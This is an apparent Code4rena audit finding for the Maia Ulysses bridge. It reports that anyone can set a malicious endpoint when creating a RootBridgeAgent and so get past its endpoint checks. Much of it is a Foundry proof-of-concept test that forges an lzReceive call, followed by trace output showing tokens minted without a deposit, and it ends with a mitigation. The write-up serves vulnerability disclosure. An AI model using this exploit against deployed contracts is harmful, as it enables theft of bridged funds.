Lines of code

https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/RootBridgeAgent.sol#L423-L439

Vulnerability details

Impact

A Malicious user can create a rootBridgeAgent with a malicious endpoint and execute calls directly with the rootBridgeAgent. Since anyone can create a rootBridgeAgent with desired values for port, endpoint and router address in anychain.

The Attacker can create a malicious endpoint that can be used to call the rootBridgeAgent#lzReceive() , thus bypassing the checks by requiresEndpoint modifier in rootBridgeAgent#lzReceiveNonBlocking().

Thus any call can be executed from the rootBridgeAgent#lzReceiveNonBlocking() function which includes callOutSystem, CalloutAndBridge etc..

Proof of Concept

The rootBridgeAgent#lzReceive() needs to be called by the lzEndPointAddress , which can be achieved by creating a rootBridgeAgent with the malicious contract that is supposedly the lzEndPointAddress. Then the lzReceive() function can be called directly. Thus also allows bypassing the requiresEndpoint modifier:

modifier requiresEndpoint(address _endpoint, uint16 _srcChain, bytes calldata _srcAddress) virtual {
        if (msg.sender != address(this)) revert LayerZeroUnauthorizedEndpoint();

        if (_endpoint != getBranchBridgeAgent[localChainId]) {
            if (_endpoint != lzEndpointAddress) revert LayerZeroUnauthorizedEndpoint();

            if (_srcAddress.length != 40) revert LayerZeroUnauthorizedCaller();

            if (getBranchBridgeAgent[_srcChain] != address(uint160(bytes20(_srcAddress[PARAMS_ADDRESS_SIZE:])))) {
                revert LayerZeroUnauthorizedCaller();
            }
        }
        _;
    }

Attack scenario is as follows:

Alice creates a new rootBridgeAgent using her malicious contract as lzEndPointAdress.
Alice creates the payload and params that is desirable for her.
Now she calls the rootBridgeAgent#lzRecieve() through her malicious contract with a function that is marked as payable to send gas for execution, since lzRecieve() is non-payable function.
The call executes successfully by Alice not needing to deposit any tokens.

Here is a simple coded PoC depicting this scenarios, this should run with the current setup in test/ulysses-omnichain/RootTest.t.sol.

function testMaliciousEndpoint() public {

          // Set up
        testAddLocalTokenArbitrum();

        // Prepare data
        bytes memory packedData;

        {
            Multicall2.Call[] memory calls = new Multicall2.Call[](1);

            // Mock Omnichain dApp call
            calls[0] = Multicall2.Call({
                target: newAvaxAssetGlobalAddress,
                callData: abi.encodeWithSelector(bytes4(0xa9059cbb), mockApp, 0 ether)
            });

            // Output Params
            OutputParams memory outputParams = OutputParams(address(this), newAvaxAssetGlobalAddress, 150 ether, 0);

            // RLP Encode Calldata Call with no gas to bridge out and we top up.
            bytes memory data = abi.encode(calls, outputParams, avaxChainId);

            // Pack FuncId
            packedData = abi.encodePacked(bytes1(0x02), data);
        }

        address _user = address(this);

        // Get some gas.
        hevm.deal(_user, 1 ether);

        // Assure there is enough balance for mock action
        hevm.prank(address(rootPort));
        ERC20hTokenRoot(newAvaxAssetGlobalAddress).mint(address(rootPort), 50 ether, rootChainId);
        hevm.prank(address(avaxPort));
        ERC20hTokenBranch(avaxMockAssethToken).mint(_user, 50 ether);

        // Mint Underlying Token.
        avaxMockAssetToken.mint(_user, 100 ether);

        // Prepare deposit info
        DepositInput memory depositInput = DepositInput({
            hToken: address(avaxMockAssethToken),
            token: address(avaxMockAssetToken),
            amount: 150 ether,
            deposit: 100 ether
        });

       // hevm.deal(address(multicallBridgeAgent), 1 ether);

       address Alice = address(0xEEE);

        //Set MockEndpoint _fallback mode ON
        MockEndpoint(lzEndpointAddress).toggleFallback(1);

        //GasParams
        GasParams memory gasParams = GasParams(0.5 ether, 0.5 ether);

        // Call Deposit function
        avaxMockAssetToken.approve(address(avaxPort), 100 ether);
        ERC20hTokenRoot(avaxMockAssethToken).approve(address(avaxPort), 50 ether);

          //get the RootBridgeAgentPath
          bytes memory rootBridgeAgentPath = avaxMulticallBridgeAgent.getRootBridgeAgentPath();

          //get the depositnonce
          uint32 depositNonce = avaxMulticallBridgeAgent.getDepositNonce();

        //   console2.log("arbitrumCoreBridgeAgent", address(arbitrumCoreBridgeAgent));
        //    console2.log("multicallBridgeAgent", address(multicallBridgeAgent));
        //     console2.log("arbitrumCoreBridgeAgent", address(avaxMulticallBridgeAgent));

          bytes memory payload = abi.encodePacked(
            bytes1(0x05),
            Alice,
            depositNonce,
             depositInput.hToken,
            depositInput.token,
            depositInput.amount,
            depositInput.deposit,
            packedData,
            false

            );

        //Call lzReceive by malicious lzEndpointAddress.
        hevm.deal(lzEndpointAddress, 100 ether);

        //Ideally we should create a contract with address as lzEndpointAddress that calls lzReceive through a payable function
        //sadly we dont have time.
        //For simplicity call the lzReceive directly by pranking the lzEndpointAddress.

        hevm.prank(lzEndpointAddress);
        multicallBridgeAgent.lzReceive(
            avaxChainId,rootBridgeAgentPath,depositNonce, payload
        );
        // An event will be emitted
        // vm.expectEmit(); is not working in this script, the hevm is messing with it.

        //Set MockEndpoint _fallback mode OFF
        MockEndpoint(lzEndpointAddress).toggleFallback(0);

    }

From the terminal output we can see that the event is indeed emitted after execution:

 [43891] BranchBridgeAgent::lzReceive(42161 [4.216e4], 0x6a54246bc839138cdb165e90f34945132dfaae8b1418e54090a03ea9da72c00b0b4f707181dca8dd, 1, 0x81bb2180ebd78ce97360503434ed37fcf4a1df61c300000001b63e041e589ae7d3a37b38a6b96a9a16aff2fb0e541dc483eb43cf8f9969baf71bf783193e5c5b1a00000000000000000000000000000000000000000000000821ab0d44149800000000000000000000000000000000000000000000000000000000000000000000) 
    │   │   │   │   │   │   │   ├─ [41889] BranchBridgeAgent::lzReceiveNonBlocking(MockEndpoint: [0x7D28001937fe8e131F76DaE9E9947adEDbD0abdE], 0x6a54246bc839138cdb165e90f34945132dfaae8b1418e54090a03ea9da72c00b0b4f707181dca8dd, 0x81bb2180ebd78ce97360503434ed37fcf4a1df61c300000001b63e041e589ae7d3a37b38a6b96a9a16aff2fb0e541dc483eb43cf8f9969baf71bf783193e5c5b1a00000000000000000000000000000000000000000000000821ab0d44149800000000000000000000000000000000000000000000000000000000000000000000) 
    │   │   │   │   │   │   │   │   ├─ [12307] BranchBridgeAgentExecutor::executeWithSettlement(RootTest: [0xBb2180ebd78ce97360503434eD37fcf4a1Df61c3], CoreBranchRouter: [0x888635704e6dF49c53E95bbe1358b34A091Af12b], 0x81bb2180ebd78ce97360503434ed37fcf4a1df61c300000001b63e041e589ae7d3a37b38a6b96a9a16aff2fb0e541dc483eb43cf8f9969baf71bf783193e5c5b1a00000000000000000000000000000000000000000000000821ab0d44149800000000000000000000000000000000000000000000000000000000000000000000) 
    │   │   │   │   │   │   │   │   │   ├─ [7555] BranchBridgeAgent::clearToken(RootTest: [0xBb2180ebd78ce97360503434eD37fcf4a1Df61c3], ERC20hTokenBranch: [0xB63E041e589aE7D3A37b38A6b96A9A16afF2Fb0e], MockERC20: [0x541dC483Eb43cf8F9969baF71BF783193e5C5B1A], 150000000000000000000 [1.5e20], 0) 
    │   │   │   │   │   │   │   │   │   │   ├─ [6321] BranchPort::bridgeIn(RootTest: [0xBb2180ebd78ce97360503434eD37fcf4a1Df61c3], ERC20hTokenBranch: [0xB63E041e589aE7D3A37b38A6b96A9A16afF2Fb0e], 150000000000000000000 [1.5e20]) 
    │   │   │   │   │   │   │   │   │   │   │   ├─ [3094] ERC20hTokenBranch::mint(RootTest: [0xBb2180ebd78ce97360503434eD37fcf4a1Df61c3], 150000000000000000000 [1.5e20]) 
    │   │   │   │   │   │   │   │   │   │   │   │   ├─ emit Transfer(from: 0x0000000000000000000000000000000000000000, to: RootTest: [0xBb2180ebd78ce97360503434eD37fcf4a1Df61c3], amount: 150000000000000000000 [1.5e20])
    │   │   │   │   │   │   │   │   │   │   │   │   └─ ← 0x0000000000000000000000000000000000000000000000000000000000000001
    │   │   │   │   │   │   │   │   │   │   │   └─ ← ()
    │   │   │   │   │   │   │   │   │   │   └─ ← ()
    │   │   │   │   │   │   │   │   │   ├─ [55] RootTest::receive() 
    │   │   │   │   │   │   │   │   │   │   └─ ← ()
    │   │   │   │   │   │   │   │   │   └─ ← ()
    │   │   │   │   │   │   │   │   ├─ emit LogExecute(nonce: 1)
    │   │   │   │   │   │   │   │   └─ ← ()
    │   │   │   │   │   │   │   └─ ← ()
    │   │   │   │   │   │   └─ ← ()
    │   │   │   │   │   └─ ← ()
    │   │   │   │   └─ ← ()
    │   │   │   └─ ← ()
    │   │   ├─ [888] RootPort::toggleVirtualAccountApproved(VirtualAccount: [0x73EfbB8B9a4cE9a43aFd0C13D7c56f92Ad175000], MulticallRootRouter: [0xB79FC86962b787A122c8f563baEc3cB4D50309F1]) 
    │   │   │   └─ ← ()
    │   │   ├─ emit LogExecute(depositNonce: 1, srcChainId: 43114 [4.311e4])
    │   │   └─ ← ()
    │   └─ ← ()
    ├─ [494] MockEndpoint::toggleFallback(0)

Similarly, Alice can create rootBridgeAgents for every chain that ulysses is active in and create attack scenarios like this, So I think the impact is definitely high.

Tools Used

Manual review

Recommended Mitigation Steps

Having a mapping of srcToDest -> lzEndPoints that can be only updated by the admins could solve this issue. And preventing users from having the power to supply their own endpoint while creating new rootBranchBridges. I know, not very decentralized, hope there will be some other solutions :smile:

Assessed type

Access Control

code-423n4 / 2023-09-maia-findings

A Malicious user can create a `rootBridgeAgent` with a malicious endpoint and execute calls directly with the `rootBridgeAgent`. #874